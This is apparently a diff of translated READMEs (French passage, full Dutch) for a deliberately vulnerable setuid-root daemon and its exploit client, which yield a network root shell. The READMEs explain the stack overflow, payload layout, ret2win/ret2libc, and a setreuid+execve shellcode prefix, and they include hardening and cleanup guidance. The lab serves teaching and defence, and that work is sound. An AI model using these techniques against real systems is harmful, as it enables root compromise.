```
Sur x86-64, la pile croît vers le bas. L'exploit écrit 64 octets de bourrage
pour remplir `buf`, 8 pour remplir le pointeur de trame sauvegardé et 8 de
plus pour remplacer l'**adresse de retour sauvegardée**. Quand
`vulnerable_handler` exécute `ret`, le CPU pousse la valeur de l'attaquant
dans `RIP` — une exécution de code contrôlée par l'attaquant. L'exploit trouve
la distance exacte (88 octets pour cette compilation) en analysant la sortie
de `objdump` au lieu de la hardcoder, donc le chiffre survit aux
recompilations.
### 5.2 La pirouette : le shell refuse d'être root
Voici où penser « bug SUID → spawn /bin/sh → root » irait de travers, et
pourquoi ce lab a exactement la forme qu'il a.
Quand un programme setuid-root tourne, son `ruid` est toujours l'utilisateur
qui l'a lancé, et son `euid` est root. Si le programme — ou l'attaquant — lance
maintenant un shell :
* `execve("/bin/sh")` ne change **pas** les uids ; le nouveau processus hérite
de `(ruid=1000, euid=0)`.
* bash (et dash) **vérifie exactement cet état au démarrage**. D'après le
manuel de bash : *« If the shell is started with the effective user (group)
id not equal to the real user (group) id, and the -p option is not supplied,
… the effective user id is set to the real user id. »*
Donc le shell se regarde et *lâche root* — une défense que les auteurs de
shell ont construite précisément contre cette attaque (la justification
historique était le problème des shell setuid / scripts setuid). Le résultat,
ce sont les cas « ça marche, mais pas root » :
| Technique | Ce qu'elle exécute | uid résultant |
|-----------|------------------|---------------|
| `ret2win` | `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell atterri, root réinitialisé par bash |
| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` tout frais | **1000** — même réinitialisation, un niveau plus bas |
| `ret2win-root` | `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid nettoyé depuis le C |
| `shellcode` | 32 octets : `setreuid(0,0); execve("/bin/sh")` | **0** — ruid nettoyé depuis le code machine |
Celles qui atteignent root diffèrent de celles qui ne l'atteignent pas par
exactement une idée : **elles nettoient l'uid *réel*, pas seulement
l'effectif.**
```c
setuid(0) /* met euid à 0, mais ruid reste 1000 :
bash voit toujours euid != ruid et réinitialise QUAND MÊME. */
setreuid(0, 0) /* met LES DEUX : ruid = euid = 0.
bash voit des uids égaux et garde root. */
```
C'est pourquoi la shellcode `/bin/sh` classique que vous trouvez partout sur
Internet commence par un syscall de nettoyage d'uid — et c'est pourquoi la
shellcode fait ici 32 octets au lieu de 23 : les cinq premières instructions
sont
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Alors, c'est quoi l'exploit, de bout en bout ?
1. `foosc` lit le banner de `foosd` sur la socket. Il obtient :
- `ids=0/1000` — euid/ruid (l'autodiagnostic SUID)
- `stack=…` et `libc=…` — des pointeurs (les fuites ASLR)
- `BUF=…` — l'adresse exacte du tampon qu'il s'apprête à faire déborder
2. Depuis le binaire cible (via `objdump`), il apprend `rip_off` et les
adresses de `win()` / `win_root()`.
3. Depuis *sa propre* libc (via `/proc/self/maps` + `dlsym` + un scan mémoire),
il mesure les offsets de `system`, `read`, `/bin/sh` et un gadget
`pop rdi; ret` — rien n'est hardcodé.
4. Il assemble la payload. Pour `-t shellcode`, c'est :
`[code setreuid+execve de 32 octets][bourrage jusqu'à RIP][ret-fix][adresse de buf]`.
5. Le `read()` de `foosd` déborde ; le `ret` atterrit sur la shellcode ; le
noyau exécute `setreuid(0,0)` (pas de souci : euid 0 est privilégié) puis
`execve` de `/bin/sh`. bash démarre avec `ruid == euid == 0` et reste root.
6. `foosc` relaie votre terminal vers ce shell root, jusqu'à ce que vous
tapiez `exit`.
Un détail de commodité qui coûte cher à beaucoup de gens s'il est manqué :
l'exploit teste chaque comportement de nettoyage d'uid **sans** avoir besoin du
bit setuid au préalable. Lancez `make test` avant `make setuid`, et vous verrez
chaque technique atterrir un shell avec `ROOT=MISSING` ; lancez `make test-suid`
après `make setuid`, et `ROOT=SEEN` apparaît pour les deux techniques qui
nettolent l'uid réel. Ce A/B est toute la leçon, jouée en dix secondes.
---
## 6. Les vieux one-liners — et pourquoi la plupart sont morts
Si vous avez lu sur SUID, vous avez lu sur les détournements de `PATH`, sur
`LD_PRELOAD` et sur les shells setuid. Les trois sont classiques, et les trois
échouent sur un système moderne contre *ce programme*. Ça vaut le coup de
savoir exactement pourquoi, parce que les raisons sont les défenses que vous
avez gratuitement :
| Classe d'attaque | Vieille affirmation | Pourquoi elle échoue sur une machine moderne |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` d'une bibliothèque malveillante | « Le programme setuid charge mon `.so` et exécute mon code en tant que root. » | Le noyau marque un binaire setuid comme **AT_SECURE** ; glibc ignore alors `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` et compagnie. L'environnement est traité comme *entrée non fiable*. `LD_PRELOAD` contre un binaire setuid est un no-op. |
| Détournement de `PATH` (`system("ls")` avec un PATH empoisonné) | « Pointez PATH vers un répertoire avec mon faux `ls` ; le programme root l'exécutera. » | Un autre visage de la même défense : un processus AT_SECURE reçoit un **PATH assaini** (une valeur sûre par défaut, grossièrement `/usr/local/bin:/usr/bin:/bin`) pour `system()`/`execvp`, donc le répertoire empoisonné n'est jamais consulté. |
| Injection de commande `system()` setuid | « La commande injectée s'exécute avec euid 0. » | `system()` exécute la commande dans un `/bin/sh` tout frais, et ce shell — §5.2 — réinitialise `euid = ruid` au démarrage. La commande injectée s'exécute avec l'uid *réel*. (C'est toujours un bug ; ça n'escalade juste plus via `/bin/sh`.) |
| Shell root setuid sur disque (`cp /bin/sh /tmp; chmod u+s`) | « Exécute-le, obtiens root. » | Exactement la défense ci-dessus, et c'est pourquoi les distros modernes ne livrent aucun shell root setuid. Même si vous réussissez à en fabriquer un, bash refuse de garder euid 0 sauf s'il est lancé avec `-p`. |
Ce qui reste vivant, et c'est ce lab : **le programme est *déjà* root quand il
tourne.** Vous n'avez besoin ni de l'environnement ni de `system()` ; vous avez
besoin que le programme exécute *votre* code (via un bug de corruption
mémoire) pendant qu'il est privilégié, et que votre code soit assez soigneux
pour corriger lui-même le mismatch d'uid — `setreuid(0,0)` — avant de vous
tendre un shell. Corruption mémoire + SUID est la combinaison qui finit encore
en `uid=0`, et c'est exactement pourquoi les langages sûrs en mémoire, les
canaries et les piles no-execute ne sont pas une décision de mode.
---
## 7. Les garde-fous intégrés au démon
`foosd` est volontairement le *pire* morceau de logiciel de ce dépôt, alors il
porte aussi le plus de garde-fous :
1. **Loopback seulement, imposé.** `foosd` refuse toute adresse de bind hors
loopback, sauf si vous passez `-L`. Un listener setuid-root sur une vraie
interface est un service root distant ; le refus est la valeur par défaut,
pour que l'état dangereux doive être tapé délibérément.
2. **Autodiagnostic.** Au démarrage, il journalise `ruid`/`euid` et s'il
tourne en root, pour que la console montre l'état dont dépend l'exploit.
3. **Le log n'atteint jamais le client.** Le démon réserve un descripteur de
log privé avant que les sockets ne remplacent fd 1, pour que la sortie du
crash-reporter et les chemins internes ne puissent pas être relus sur le
fil par l'attaquant.
4. **Crash-reporter.** Un handler SIGSEGV journalise `RIP`/`RSP` — la valeur
que l'attaquant a écrite dans l'adresse de retour — pour qu'une prise de
contrôle réussie soit visible dans `foosd.log` au lieu d'être une mort
silencieuse.
5. **`make unsetuid`.** Retirer le bit est scripté, parce que le laisser posé
est le mode d'échec que les gens ont réellement.
---
## 8. Contre-mesures — ce que chacune arrête et ce qu'elle *n'arrête pas*
Appliquées à `foosd` via `make hardened`, une par une ou ensemble :
| Contre-mesure | Ce qu'elle arrête | Ce qu'elle *n'arrête pas* |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | Le débordement : `ret` détecte une canary écrasée et abort avant que l'adresse de l'attaquant soit utilisée. Arrête ici **les quatre** techniques — elles partagent le même `read()` vulnérable. | Rien par *conception* : le binaire est toujours setuid-root ; un autre bug (format-string-`%n`, heap-overflow, use-after-free) n'a pas de canary à déclencher. |
| `-fPIE -pie` (ASLR pour le binaire) | L'utilisation d'adresses `win()`/`win_root()` prévisibles (les techniques ret2win). | La technique shellcode, si une adresse de pile fuite encore (ligne `BUF=`). |
| `-z noexecstack` (NX / W^X) | La shellcode : le CPU refuse de chercher des instructions sur une page data-only, donc un saut vers `buf` est un SIGSEGV. | ROP — exécuter du code qui existe déjà (`ret2libc`). |
| Les trois ensemble | Un binaire difficile à déborder, randomisé, avec une pile non exécutable. Voilà à quoi ressemble une build durcie normale. | Le bit setuid. **Un binaire SUID durci reste un binaire SUID.** S'il survit un bug mémoire atteignable, c'est toujours « bug dans un processus root ». |
La preuve console, c'est `make test-hardened`, qui échange la build durcie et
montre les techniques mourir à la canary, pendant que `foosd_hardened.log`
capture `*** stack smashing detected ***`.
Deux contre-mesures de niveau conception, qu'aucun flag de compilateur ne
fournit, et que le lab principal (`food`) utilise aussi :
- **Moindre privilège.** Un démon pour un port non privilégié (2343 > 1024)
n'a aucun besoin légitime de root. Un `foosd` correct lierait puis ferait
`setgroups`/`setgid`/`setuid` vers un compte non privilégié et *confirmerait
que ça a tenu* (la version correcte est dans la source sous le nom de
`drop_privs()`, jamais appelée — le non-appel est le bug n° 3 du lab).
- **Limitez le read.** `n = read(fd, buf, sizeof(buf) - 1)`. Une ligne correcte
surpasse tous les flags de compilateur du tableau.
---
## 9. Le protocole filaire (pour que vous puissiez lire le démon avec netcat)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — ne pouvait pas être affiché comme `euid=`/`ruid=`, parce
que la harnesse de test prouve un shell en grepant le `uid=` littéral, et le
banner ne doit pas le contenir (une sonde qui partage la signature de la
réponse est un piège classique de faux positif ; voir le commentaire dans
`foosd.c`). La harnesse exige en outre la forme stricte de sortie `id` —
`uid=NNN(...)` — pour que rien de ce que le démon ou l'exploit affiche ne
puisse satisfaire le contrôle par accident : le propre « target euid=… ruid=… »
de `foosc` contient `uid=` comme sous-chaîne, ce qui a un jour fait
rapporter à un test durci un shell qui n'avait jamais tourné.
* `stack=`, `libc=`, `BUF=` — les fuites ASLR : elles permettent à la
shellcode et à ret2libc de calculer des adresses exactes.
---
## 10. Exercices
1. **Considérez la descente non-root.** Lancez `make test` *avant* `make
setuid`, puis encore après. Expliquez le passage à `ROOT=SEEN` avec
l'histoire ruid/euid de la §5.2.
2. **Lisez le crash.** Lancez `./foosc -t demo -n` puis lisez `foosd.log`.
La ligne `RIP=0x4141414141414141` est le bourrage de l'attaquant — la
preuve que c'est le débordement, pas le hasard, qui contrôle l'exécution.
3. **Ajoutez la canary.** `make hardened` et modifiez vous-même la boucle
`test-hardened` ; la ligne de log `*** stack smashing detected ***` est la
défense qui fonctionne.
4. **Désactivez la fuite.** Commentez la ligne `BUF=` dans `foosd.c`, recompilez
et voyez `-t shellcode` passer de déterministe à jeu de devinettes. Cette
seule ligne est la raison pour laquelle les vrais bypass d'ASLR sont tout un
domaine.
5. **L'expérience `-p`.** Dans une copie de `win()`, changez `execl("/bin/sh",
"sh", NULL)` en `execl("/bin/sh", "sh", "-p", NULL)` et observez root. `-p`
est la sortie de secours documentée du gardien du shell — et la raison pour
laquelle le conseil « spawn juste un shell » des vieux write-ups est
incomplet.
6. **Pourquoi pas `setuid(0)` ?** Réécrivez la shellcode pour appeler
`setuid(0)` au lieu de `setreuid(0,0)` (syscall 105). Le shell atterrit
quand même — et retombe quand même à `uid=1000`. C'est l'expérience d'une
seule ligne la plus instructive de tout le dépôt.
---
## 11. Sécurité et nettoyage
- Loopback uniquement, par défaut et par conception ; `-L` lie plus loin, et
seule une VM bonne à jeter devrait même l'envisager.
- C'est un lab de shell root. Ne le faites pas tourner sur une machine qui
compte, et ne pointez pas `foosc -h` vers quelque chose que vous ne possédez
pas.
- Rituel de nettoyage : `make stop` puis `make unsetuid`, et si vous voulez
l'arborescence impeccable à nouveau : `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

398
suid/README.NL.md Normal file
View file

@ -0,0 +1,398 @@
# SUID-root-RCE-lab — `foosd` (daemon) + `foosc` (exploit)
Een begeleider van het hoofdlaboratorium (`food` / `fooc`, een gewone daemon
waar een bufferoverloop je een *gebruiker*-shell geeft). Dit voegt de
gevaarlijkste wijziging van één teken in Unix toe: **de setuid-bit**.
> `chmod u+s` verandert "de aanvaller kan code draaien op deze host" in "de
> aanvaller kan code draaien als **root** op deze host".
Die zin is het hele lab. Alles hieronder is het mechanisme eronder,
opgeschreven, zodat je wanneer je je eigen software schrijft precies weet welke
twee of drie bestandssysteem-attributen en compilerflags bepalen of een
geheugenveiligheidsbug in jouw code een ergernis of een root-shell is.
De uiteindelijke demo, wanneer `foosd` setuid-root is, is een **root-shell**
die over het netwerk wordt geopend door 32 bytes handgeschreven shellcode uit
te voeren.
---
## 1. Wat de setuid-bit daadwerkelijk doet
Elk proces op Linux draagt drie user-ID's, en de setuid-bit rommelt aan de
verhouding ertussen:
| ID | Naam | Betekenis |
|----|------|---------|
| `ruid` | reële user-ID | de account die het proces *startte* |
| `euid` | effectieve user-ID | wat de kernel controleert wanneer hij toegang handhaaft |
| (saved) | opgeslagen set-user-ID | een "spoor" waarnaar een bevoorrecht proces later kan terugkeren |
Een normaal programma heeft `ruid == euid`. Wanneer je een binair bestand
uitvoert met de setuid-bit gezet, eigendom van root:
```text
ruid = jij (bijv. 1000, "hanez")
euid = de eigenaar (bijv. 0, "root")
```
Het proces heeft dus **roots autoriteit**, ook al is de gebruiker die het
startte volkomen gewoon. Elke controle die de kernel uitvoert — kan dit proces
`/etc/shadow` lezen? een bestand schrijven? een ander proces doden? — wordt
beantwoord met `euid`, dus "ja, het is root".
`foosd` is een netwerkdaemon. Hij bindt een poort en `fork()`t daarna een kind
per verbinding. Een fork *erft* de euid, dus elk kind dat een verbinding
afhandelt, is ook root. De overloop in `foosd`s `vulnerable_handler()` is
daarom een overloop *binnenin een root-proces*.
**Diagnosticeer het zelf wanneer de daemon draait:**
```console
$ ./foosd ... # zie de logregel die hij bij de start print
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
en vanuit het exploit:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. Het lab in één oogopslag
| Bestand | Rol |
|------|------|
| `foosd.c` | De bewust kwetsbare daemon (eigenaar van de bugs). Draai als *setuid-root*-binary voor de root-shell-demo. |
| `foosc.c` | Het exploit. Gebruikt standaard de 32-byte `setreuid + execve`-shellcodetechniek. |
| `shellcode.S` | De referentie-shellcode; `make verify` diff't het tegen de byte-array in `foosc.c`. |
| `tests/pty_suid_test.c` | Test-harness. Drijft `foosc` door een pseudo-terminal en bewijst zowel "er draaide een shell" *als* "die was root" (`uid=0(`). |
| `Makefile` | Build, `setuid`/`unsetuid`-helpers, testmatrix. |
| `README.md` | Dit bestand. |
> **Waarom een pty?** De laatste actie van het exploit is je terminal
> doorschakelen naar de shell die op het slachtoffer draait. Een pipe of
> here-doc komt aan de verkeerde kant van die doorschakeling terecht; een echte
> terminal is vereist.
---
## 3. Snelle start
```console
$ make # bouw alles, als je normale gebruiker
$ make setuid # één keer, vraagt om sudo: chown root + chmod u+s
$ make run # start foosd op 127.0.0.1:2343
$ make test-suid # volledige matrix; shellcode + ret2win-root moeten root geven
```
Interactieve rooktest:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- je bent root, op het slachtoffer
# exit
```
Wanneer je klaar bent:
```console
$ make stop
$ make unsetuid # hygiëne: laat nooit een root-SUID-binary achter
```
---
## 4. *Wanneer moet ik de SUID-bit zetten?* — het antwoord dat je vroeg
Precies **één keer, na het bouwen, vóór je de daemon start voor de
root-shell-demo's** — en alleen op een machine die van jou is, geschikt om weg
te gooien en losgekoppeld van het netwerk:
```console
$ make # compileer foosd, foosc, tests
$ make setuid # <-- HET MOMENT. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # start NÁ het zetten van de bit
```
Twee regels die belangrijker zijn dan het precieze tijdstip:
1. **Zet hem alleen als de binary klaar is.** Als je herbouwt (`make` /
`make clean`) nadat je de bit hebt gezet, krijg je een "Permission denied"
bij het schrijven van root-bezeten outputbestanden — en als je de herbouw
forceert, herschept de toolchain het bestand **zonder** de `s` en maak je de
opzet stilletjes ongedaan. De canonieke volgorde bij elke herbouw is daarom
```console
$ make unsetuid && make && make setuid
```
2. **Haal hem weg als je klaar bent.** `make unsetuid`. Een levende,
root-bezeten setuid-binary met een exploiteerbare bug in je boom is geen
leermiddel, het is een root-gat met een compilerfout tussen zichzelf en
niets. Op een gedeelde of productiemachine: **doe niets van dit alles.** De
daemon weigert bovendien standaard iets anders dan loopback te binden (zie
§7).
Als je het exploit *zonder* ooit de bit te zetten draait, gaat er niets
kapot — de payload landt nog steeds, en je krijgt nog steeds een shell. Het
verschil zit in één getal, en het exploit zegt het hardop:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
Het "werkte, maar niet root"-resultaat is zelf onderdeel van het lab. Onthoud
dat voor de volgende sectie.
---
## 5. Het mechanisme — en de twist die SUID interessant maakt
### 5.1 De overloop (identiek aan `food`)
De handler van `foosd` geeft een `read()` 512 bytes vertrouwen terwijl hij er
een 64-byte stack-buffer aan reikt:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over de rand */
```
Op x86-64 groeit de stack naar beneden. Het exploit schrijft 64 bytes rommel
om `buf` te vullen, 8 om de opgeslagen framepointer te vullen en nog 8 om de
**opgeslagen retouradres** te vervangen. Wanneer `vulnerable_handler` de `ret`
uitvoert, poppt de CPU de waarde van de aanvaller in `RIP` —
aanvaller-gecontroleerde code-uitvoering. Het exploit vindt de exacte afstand
(88 bytes voor deze build) door `objdump`-output te parsen in plaats van die te
hardcoden, zodat het getal herbouwen overleeft.
### 5.2 De twist: de shell weigert root te zijn
Hier is waar "SUID-bug → spawn /bin/sh → root" fout zou gaan, en waarom dit lab
precies de vorm heeft die het heeft.
Wanneer een setuid-root-programma draait, is zijn `ruid` nog steeds de
startende gebruiker en is zijn `euid` root. Als het programma — of de aanvaller
— nu een shell start:
* `execve("/bin/sh")` verandert de uids **niet**; het nieuwe proces erft
`(ruid=1000, euid=0)`.
* bash (en dash) **controleert die exacte toestand bij de start**. Uit de
bash-handleiding: *"If the shell is started with the effective user (group)
id not equal to the real user (group) id, and the -p option is not supplied,
… the effective user id is set to the real user id."*
Dus de shell kijkt naar zichzelf en *laat root vallen* — een verdediging die de
shell-auteurs precies tegen dit aanval bouwden (de historische reden was het
setuid-shell-/setuid-scriptprobleem). Het resultaat is de "werkte, maar niet
root"-gevallen:
| Techniek | Wat hij uitvoert | Resulterende uid |
|-----------|------------------|---------------|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landde, root gereset door bash |
| `ret2libc` | `system("/bin/sh")` → verse `sh -c '/bin/sh'` | **1000** — dezelfde reset, één niveau lager |
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid opgeruimd vanuit C |
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid opgeruimd vanuit machinecode |
Degene die root bereiken, verschillen van degene die dat niet doen in precies
één idee: **ze ruimen de *reële* uid op, niet alleen de effectieve.**
```c
setuid(0) /* zet euid op 0, maar ruid blijft 1000:
bash ziet nog steeds euid != ruid en reset NOG STEEDS. */
setreuid(0, 0) /* zet BEIDE: ruid = euid = 0.
bash ziet gelijke uids en houdt root. */
```
Daarom begint de klassieke `/bin/sh`-shellcode die je overal op internet vindt
met een uid-opruimend syscall — en daarom is de shellcode hier 32 bytes in
plaats van 23: de eerste vijf instructies zijn
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Dus wat is het exploit, van begin tot eind?
1. `foosc` leest het banner van `foosd` over de socket. Het krijgt:
- `ids=0/1000` — euid/ruid (de SUID-zelfdiagnose)
- `stack=…` en `libc=…` — pointers (de ASLR-leaks)
- `BUF=…` — het exacte adres van de buffer die het op het punt staat te
laten overlopen
2. Uit de doel-binary (via `objdump`) leert het `rip_off` en de adressen van
`win()` / `win_root()`.
3. Uit *zijn eigen* libc (via `/proc/self/maps` + `dlsym` + een geheugenscan)
meet het de offsets van `system`, `read`, `/bin/sh` en een
`pop rdi; ret`-gadget — niets is hardcoded.
4. Het stelt de payload samen. Voor `-t shellcode` is dat:
`[32-byte-setreuid+execve-code][padding tot RIP][ret-fix][adres van buf]`.
5. `foosd`s `read()` loopt over; de `ret` landt op de shellcode; de kernel
voert `setreuid(0,0)` uit (geen probleem: euid 0 is bevoorrecht) en daarna
`execve` van `/bin/sh`. bash start met `ruid == euid == 0` en blijft root.
6. `foosc` schakelt je terminal door naar die root-shell, tot je `exit` typt.
Eén gemakdetail dat mensen veel tijd kost als het wordt gemist: het exploit
test elk uid-opruimgedrag **zonder** eerst de setuid-bit nodig te hebben. Draai
`make test` vóór `make setuid`, en je ziet elke techniek een shell landen terwijl
`ROOT=MISSING` staat; draai `make test-suid` ná `make setuid`, en `ROOT=SEEN`
verschijnt bij de twee technieken die de reële uid opruimen. Die A/B is de hele
les, in tien seconden uitgevoerd.
---
## 6. De oude one-liners — en waarom de meeste dood zijn
Heb je over SUID gelezen, dan heb je over `PATH`-kapingen, `LD_PRELOAD` en
setuid-shells gelezen. Alle drie zijn klassiek, en alle drie falen op een
modern systeem tegen *dit programma*. Het is de moeite waard om precies te
weten waarom, want de redenen zijn de verdedigingen die je gratis krijgt:
| Aanvalsklasse | Oude bewering | Waarom hij faalt op een moderne machine |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` van een kwaadaardige bibliotheek | "Het setuid-programma laadt mijn `.so` en draait mijn code als root." | De kernel markeert een setuid-binary als **AT_SECURE**; glibc negeert daarna `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` en vrienden. De omgeving wordt behandeld als *onbetrouwbare input*. `LD_PRELOAD` tegen een setuid-binary is een no-op. |
| `PATH`-kaping (`system("ls")` met een vergiftigde PATH) | "Wijs PATH naar een map met mijn neppe `ls`; het root-programma draait hem." | Een ander gezicht van hetzelfde verdedigingen: een AT_SECURE-proces krijgt een **gesaneerde `PATH`** (een veilige standaard, grofweg `/usr/local/bin:/usr/bin:/bin`) voor `system()`/`execvp`, dus de vergiftigde map wordt nooit geraadpleegd. |
| Setuid-`system()`-commando-injectie | "Het geïnjecteerde commando draait met euid 0." | `system()` draait het commando in een verse `/bin/sh`, en die shell — §5.2 — reset `euid = ruid` bij de start. Het geïnjecteerde commando wordt uitgevoerd met de *reële* uid. (Het blijft een bug; het escaleert alleen niet meer via `/bin/sh`.) |
| Setuid-root-shell op de schijf (`cp /bin/sh /tmp; chmod u+s`) | "Draai hem, krijg root." | Precies wat hierboven verdedigd wordt, en dat is waarom moderne distro's geen enkele setuid-root-shell leveren. Zelfs als je er één kunt maken, weigert bash euid 0 te houden tenzij hij met `-p` wordt gestart. |
Wat blijft leven, en dat is dit lab: **het programma is *al* root wanneer het
draait.** Je hebt de omgeving of `system()` niet nodig; je hebt nodig dat het
programma *jouw* code uitvoert (via een geheugenbeschadigingsbug) terwijl het
bevoorrecht is, en dat jouw code zorgvuldig genoeg is om zelf de uid-mismatch
recht te zetten — `setreuid(0,0)` — voordat het je een shell overhandigt.
Geheugenbeschadiging + SUID is de combinatie die nog steeds in `uid=0` eindigt,
en dat is precies waarom geheugenveilige talen, canaries en no-execute-stacks
geen modebeslissing zijn.
---
## 7. De veiligheidsheurlingen die in de daemon zijn ingebouwd
`foosd` is bewust het *slechtste* stuk software in dit repository, dus het
draagt ook de meeste leuningen:
1. **Alleen loopback, afgedwongen.** `foosd` weigert elke bind-adres buiten
loopback, tenzij je `-L` geeft. Een setuid-root-listener op een echte
interface is een externe root-dienst; de weigering is de standaard, zodat de
gevaarlijke toestand bewust moet worden ingetypt.
2. **Zelfdiagnose.** Bij de start logt hij `ruid`/`euid` en of hij als root
draait, zodat de console de toestand toont waarvan het exploit afhangt.
3. **De log bereikt de client nooit.** De daemon reserveert een privé
log-descriptor vóór sockets fd 1 vervangen, zodat crash-reporter-output en
interne paden niet door de aanvaller over de draad teruggelezen kunnen
worden.
4. **Crash-reporter.** Een SIGSEGV-handler logt `RIP`/`RSP` — de waarde die de
aanvaller in het retouradres schreef — zodat een succesvolle overname
zichtbaar is in `foosd.log` in plaats van een stille dood.
5. **`make unsetuid`.** Het verwijderen van de bit is gescript, omdat hem laten
staan de faaltoestand is die mensen daadwerkelijk hebben.
---
## 8. Tegenmaatregelen — wat elke stopt en wat hij *niet* stopt
Toegepast op `foosd` via `make hardened`, één voor één of samen:
| Tegenmaatregel | Wat hij stopt | Wat hij *niet* stopt |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | De overloop: `ret` detecteert een beschadigde canary en aborted vóór het adres van de aanvaller wordt gebruikt. Stopt hier **alle vier** de technieken — ze delen het ene kwetsbare `read()`. | Niets aan *het ontwerp*: de binary is nog steeds setuid-root; een andere bug (format-string-`%n`, heap-overflow, use-after-free) heeft geen canary om af te laten gaan. |
| `-fPIE -pie` (ASLR voor de binary) | Gebruik van voorspelbare `win()`/`win_root()`-adressen (de ret2win-technieken). | De shellcode-techniek, als er nog een stack-adres lekt (`BUF=`-regel). |
| `-z noexecstack` (NX / W^X) | De shellcode: de CPU weigert instructies op te halen van een data-only-pagina, dus een sprong naar `buf` is een SIGSEGV. | ROP — code draaien die al bestaat (`ret2libc`). |
| Alle drie samen | Een moeilijk-te-laten-overlopen, gerandomiseerde binary met een niet-uitvoerbare stack. Zo ziet een normale geharde build eruit. | De setuid-bit. **Een geharde SUID-binary is nog steeds een SUID-binary.** Overleeft er een bereikbare geheugenveiligheidsbug, dan is het nog steeds "bug in een root-proces". |
Het consolebewijs is `make test-hardened`, dat de geharde build inwisselt en
laat zien hoe alle technieken bij de canary sterven, terwijl
`foosd_hardened.log` `*** stack smashing detected ***` opvangt.
Twee tegenmaatregelen op ontwerpniveau die geen enkele compilerflag levert, en
die het hoofdlaboratorium (`food`) ook gebruikt:
- **Minste privilege.** Een daemon voor een onbevoordeelde poort (2343 > 1024)
heeft geen legitieme behoefte aan root. Een correcte `foosd` zou binden en
daarna `setgroups`/`setgid`/`setuid` naar een onbevoorrechte account en
*bevestigen dat het hield* (de correcte versie staat in de bron als
`drop_privs()`, nooit aangeroepen — het niet-aanroepen is bug nr. 3 van het
lab).
- **Beperk de read.** `n = read(fd, buf, sizeof(buf) - 1)`. Eén correcte regel
overtreft elke compilerflag in de tabel.
---
## 9. Het wire-protocol (zodat je de daemon met netcat kunt lezen)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — kon niet als `euid=`/`ruid=` geprint worden, omdat de
test-harness een shell bewijst door op het letterlijke `uid=` te greppen, en
het banner mag dat niet bevatten (een sonde die de handtekening met het
antwoord deelt, is een klassieke fout-positief- val; zie de commentaar in
`foosd.c`). De harness vereist bovendien de strikte `id`-outputvorm —
`uid=NNN(...)` — zodat niets wat de daemon of het exploit print het aan
toeval kan laten voldoen: `foosc`s eigen "target euid=… ruid=…" bevat `uid=`
als deelstring, wat ooit een geharde test een shell liet melden die nooit had
gedraaid.
* `stack=`, `libc=`, `BUF=` — de ASLR-leaks: laten shellcode en ret2libc exacte
adressen berekenen.
---
## 10. Oefeningen
1. **Beschouw de niet-root-degradatie.** Draai `make test` *vóór* `make
setuid`, en daarna nog eens achteraf. Verklaar de `ROOT=SEEN`-verandering
met het ruid/euid-verhaal in §5.2.
2. **Lees de crash.** Draai `./foosc -t demo -n` en lees daarna `foosd.log`.
De regel `RIP=0x4141414141414141` is de padding van de aanvaller — het bewijs
dat de overloop, niet toeval, de uitvoering bestuurt.
3. **Voeg de canary toe.** `make hardened` en verander zelf de
`test-hardened`-lus; de logregel `*** stack smashing detected ***` is de
verdediging die werkt.
4. **Schakel het lek uit.** Commentaar de `BUF=`-regel in `foosd.c` uit, bouw
opnieuw, en zie `-t shellcode` van deterministisch naar een raadspel
veranderen. Die ene regel is de reden dat echte ASLR-bypasses een heel veld
zijn.
5. **Het `-p`-experiment.** Verander in een kopie van `win()`
`execl("/bin/sh", "sh", NULL)` naar `execl("/bin/sh", "sh", "-p", NULL)` en
observeer root. `-p` is de gedocumenteerde nooduitgang uit de wacht van de
shell — en de reden dat het advies "spawn gewoon een shell" uit oude
write-ups onvolledig is.
6. **Waarom niet `setuid(0)`?** Herschrijf de shellcode om `setuid(0)` te
roepen in plaats van `setreuid(0,0)` (syscall 105). De shell landt nog
steeds — en zakt nog steeds naar `uid=1000`. Dat is het meest leerzame
één-regel-experiment van het hele repository.
---
## 11. Veiligheid en opruimen
- Alleen loopback, als standaard en volgens ontwerp; `-L` bindt verder, en
alleen een weg-te-gooien-VM zou het überhaupt moeten overwegen.
- Dit is een root-shell-lab. Draai het niet op een machine die ertoe doet, en
richt `foosc -h` niet op iets dat je niet bezit.
- Opruimritueel: `make stop` en daarna `make unsetuid`, en als je de boom weer
vlekkeloos wilt: `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

387
suid/README.NO.md Normal file
View file

@ -0,0 +1,387 @@
